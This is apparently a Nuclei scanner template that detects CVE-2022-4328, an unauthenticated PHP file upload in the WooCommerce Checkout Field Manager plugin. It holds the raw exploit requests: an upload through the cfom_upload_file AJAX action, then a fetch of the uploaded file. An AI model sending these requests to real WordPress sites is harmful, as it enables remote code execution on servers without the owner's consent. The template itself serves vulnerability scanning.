id: CVE-2022-4328 info: name: WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload author: theamanrawat severity: critical description: | The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server. impact: | Unauthenticated attackers can upload arbitrary PHP files through the cfom_upload_file AJAX action without validation, achieving remote code execution on the WordPress server and potentially compromising the entire WooCommerce installation. remediation: | Fixed in version 18.0 reference: - https://wpscan.com/vulnerability/4dc72cd2-81d7-4a66-86bd-c9cfaf690eed - https://wordpress.org/plugins/n-media-woocommerce-checkout-fields/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4328 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-4328 cwe-id: CWE-434 epss-score: 0.69269 epss-percentile: 0.98662 cpe: cpe:2.3:a:najeebmedia:woocommerce_checkout_field_manager:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: najeebmedia product: woocommerce_checkout_field_manager framework: wordpress tags: cve2022,cve,wp,n-media-woocommerce-checkout-fields,wpscan,rce,wordpress,wp-plugin,intrusive,najeebmedia,fileupload,vkev,vuln variables: string: "CVE-2022-4328" http: - raw: - | POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name={{randstr}}.pHp HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=------------------------22728be7b3104597 --------------------------22728be7b3104597 Content-Disposition: form-data; name="file"; filename="{{randstr}}.php" Content-Type: application/octet-stream --------------------------22728be7b3104597-- - | GET /wp-content/uploads/cfom_files/{{to_lower('{{randstr}}')}}.php HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - '{{md5(string)}}' # digest: 4b0a0048304602210091cafc6894b8d9c5cf3262eef1a110170072ade787db81b9e637b21aef7598bd022100fe133fed7da6b2d4cff20f978f005c62cf21b07e6a6ead5f36a792b92d2bb763:922c64590222798bb761d5b6d8e72950